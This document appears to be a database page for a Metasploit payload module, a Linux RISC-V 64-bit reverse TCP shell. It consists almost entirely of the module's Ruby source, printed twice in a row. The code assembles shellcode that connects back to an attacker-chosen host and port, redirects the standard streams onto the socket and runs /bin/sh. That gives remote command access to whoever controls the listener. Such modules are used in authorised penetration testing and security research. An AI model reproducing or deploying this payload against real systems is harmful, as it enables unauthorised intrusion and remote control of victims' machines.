Description
Connect back to attacker and spawn a command shell. Module Options msf use payload/linux/riscv64le/shellreversetcp msf payloadshellreversetcp show actions ...actions... msf payloadshellreversetcp set ACTION msf payloadshellreversetcp show options...
Basic Information
ID
MSF:PAYLOAD-LINUX-RISCV64LE-SHELL_REVERSE_TCP-
Published
Dec 1, 2025 at 18:55
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 140
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
SYS_SOCKET = 198
SYS_CONNECT = 203
SYS_DUP3 = 24
SYS_EXECVE = 221
AF_INET = 2
SOCK_STREAM = 1
IPPROTO_IP = 0
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Linux Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell.',
'Author' => [
'modexp', # connect.s RISC-V 64-bit shellcode
'bcoles', # metasploit
],
'License' => BSD_LICENSE,
'Platform' => 'linux',
'Arch' => [ ARCH_RISCV64LE ],
'References' => [
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
],
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix
)
)
end
# Encode a RISC-V ADDI (Add Immediate) instruction
def encode_addi(rd, rs1, imm12)
opcode = 0b0010011
funct3 = 0b000
imm = imm12 & 0xfff
(imm << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
end
# Encode a RISC-V LUI (Load Upper Immediate) instruction
def encode_lui(rd, imm20)
0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)
end
# Encode a RISC-V SLLI (Shift Left Logical Immediate) instruction
def encode_slli(rd, rs1, shamt)
opcode = 0b0010011
funct3 = 0b001
funct6 = 0b000000
((funct6 & 0x3f) << 26) | ((shamt & 0x3f) << 20) |
(rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
end
# Encode a RISC-V OR instruction (rd = rs1 OR rs2).
def encode_or(rd, rs1, rs2)
opcode = 0b0110011
funct3 = 0b110
funct7 = 0b0000000
(funct7 << 25) | (rs2 << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
end
# Emit RISC-V instruction words that build an arbitrary 64-bit constant in a chosen register using SLLI+LUI+ADDI
# Note: modifies x6 register
def load_const_into_reg64(const, rd)
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
max_const = (1 << 64) - 1
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
# Split into 32‑bit halves
hi = const >> 32
lo = const & 0xFFFF_FFFF
# Load high half
[
*load_const_into_reg32(hi, rd),
*encode_slli(rd, rd, 32),
*load_const_into_reg32(lo, 6),
*encode_or(rd, rd, 6),
]
end
# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.
def load_const_into_reg32(const, rd)
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
max_const = 0xFFFF_FFFF
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
if const >= -2048 && const <= 2047
return [encode_addi(rd, 0, const)]
end
upper = (const + 0x800) >> 12
low = const & 0xfff
[
encode_lui(rd, upper),
encode_addi(rd, rd, low)
]
end
def generate(_opts = {})
lhost = datastore['LHOST'] || '127.127.127.127'
lport = datastore['LPORT'].to_i
raise ArgumentError, 'LHOST must be in IPv4 format.' unless Rex::Socket.is_ipv4?(lhost)
encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
encoded_port = [lport].pack('n').unpack1('v')
encoded_sockaddr = (encoded_host << 32) | (encoded_port << 16) | 2
shellcode = [
# prepare stack
0xff010113, # addi sp,sp,-16
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket
*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP
*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM
*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET
0x00000073, # ecall
# connect(s, &sa, sizeof(sa));
0x00050693, # mv a3,a0 # a3 = s
*load_const_into_reg32(SYS_CONNECT, 17), # li a7,203 # SYS_connect
*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)
*load_const_into_reg64(encoded_sockaddr, 11),
0x00b13023, # sd a1,0(sp)
0x00010593, # mv a1,sp # a1 = &sa
0x00000073, # ecall
# dup stdin/stdout/stderr
*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3
*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3
# c_dup:
*load_const_into_reg32(0, 12), # li a2,0
0x00068513, # mv a0,a3
0xfff58593, # addi a1,a1,-1
0x00000073, # ecall
0xfe0598e3, # bnez a1,100c8 <c_dup>
# execve("/bin/sh", NULL, NULL);
*load_const_into_reg32(SYS_EXECVE, 17), # SYS_execve
0x34399537, # lui a0,0x34399
0x7b75051b, # addiw a0,a0,1975
0x00c51513, # slli a0,a0,0xc
0x34b50513, # addi a0,a0,843
0x00d51513, # slli a0,a0,0xd
0x22f50513, # addi a0,a0,559
0x00a13023, # sd a0,0(sp)
0x00010513, # mv a0,sp
0x00000073 # ecall
].pack('V*')
# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0
super.to_s + shellcode
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 140
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
SYS_SOCKET = 198
SYS_CONNECT = 203
SYS_DUP3 = 24
SYS_EXECVE = 221
AF_INET = 2
SOCK_STREAM = 1
IPPROTO_IP = 0
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Linux Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell.',
'Author' => [
'modexp', # connect.s RISC-V 64-bit shellcode
'bcoles', # metasploit
],
'License' => BSD_LICENSE,
'Platform' => 'linux',
'Arch' => [ ARCH_RISCV64LE ],
'References' => [
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
],
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix
)
)
end
# Encode a RISC-V ADDI (Add Immediate) instruction
def encode_addi(rd, rs1, imm12)
opcode = 0b0010011
funct3 = 0b000
imm = imm12 & 0xfff
(imm << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
end
# Encode a RISC-V LUI (Load Upper Immediate) instruction
def encode_lui(rd, imm20)
0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)
end
# Encode a RISC-V SLLI (Shift Left Logical Immediate) instruction
def encode_slli(rd, rs1, shamt)
opcode = 0b0010011
funct3 = 0b001
funct6 = 0b000000
((funct6 & 0x3f) << 26) | ((shamt & 0x3f) << 20) |
(rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
end
# Encode a RISC-V OR instruction (rd = rs1 OR rs2).
def encode_or(rd, rs1, rs2)
opcode = 0b0110011
funct3 = 0b110
funct7 = 0b0000000
(funct7 << 25) | (rs2 << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
end
# Emit RISC-V instruction words that build an arbitrary 64-bit constant in a chosen register using SLLI+LUI+ADDI
# Note: modifies x6 register
def load_const_into_reg64(const, rd)
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
max_const = (1 << 64) - 1
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
# Split into 32‑bit halves
hi = const >> 32
lo = const & 0xFFFF_FFFF
# Load high half
[
*load_const_into_reg32(hi, rd),
*encode_slli(rd, rd, 32),
*load_const_into_reg32(lo, 6),
*encode_or(rd, rd, 6),
]
end
# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.
def load_const_into_reg32(const, rd)
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
max_const = 0xFFFF_FFFF
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
if const >= -2048 && const <= 2047
return [encode_addi(rd, 0, const)]
end
upper = (const + 0x800) >> 12
low = const & 0xfff
[
encode_lui(rd, upper),
encode_addi(rd, rd, low)
]
end
def generate(_opts = {})
lhost = datastore['LHOST'] || '127.127.127.127'
lport = datastore['LPORT'].to_i
raise ArgumentError, 'LHOST must be in IPv4 format.' unless Rex::Socket.is_ipv4?(lhost)
encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
encoded_port = [lport].pack('n').unpack1('v')
encoded_sockaddr = (encoded_host << 32) | (encoded_port << 16) | 2
shellcode = [
# prepare stack
0xff010113, # addi sp,sp,-16
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket
*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP
*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM
*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET
0x00000073, # ecall
# connect(s, &sa, sizeof(sa));
0x00050693, # mv a3,a0 # a3 = s
*load_const_into_reg32(SYS_CONNECT, 17), # li a7,203 # SYS_connect
*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)
*load_const_into_reg64(encoded_sockaddr, 11),
0x00b13023, # sd a1,0(sp)
0x00010593, # mv a1,sp # a1 = &sa
0x00000073, # ecall
# dup stdin/stdout/stderr
*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3
*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3
# c_dup:
*load_const_into_reg32(0, 12), # li a2,0
0x00068513, # mv a0,a3
0xfff58593, # addi a1,a1,-1
0x00000073, # ecall
0xfe0598e3, # bnez a1,100c8 <c_dup>
# execve("/bin/sh", NULL, NULL);
*load_const_into_reg32(SYS_EXECVE, 17), # SYS_execve
0x34399537, # lui a0,0x34399
0x7b75051b, # addiw a0,a0,1975
0x00c51513, # slli a0,a0,0xc
0x34b50513, # addi a0,a0,843
0x00d51513, # slli a0,a0,0xd
0x22f50513, # addi a0,a0,559
0x00a13023, # sd a0,0(sp)
0x00010513, # mv a0,sp
0x00000073 # ecall
].pack('V*')
# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0
super.to_s + shellcode
end
end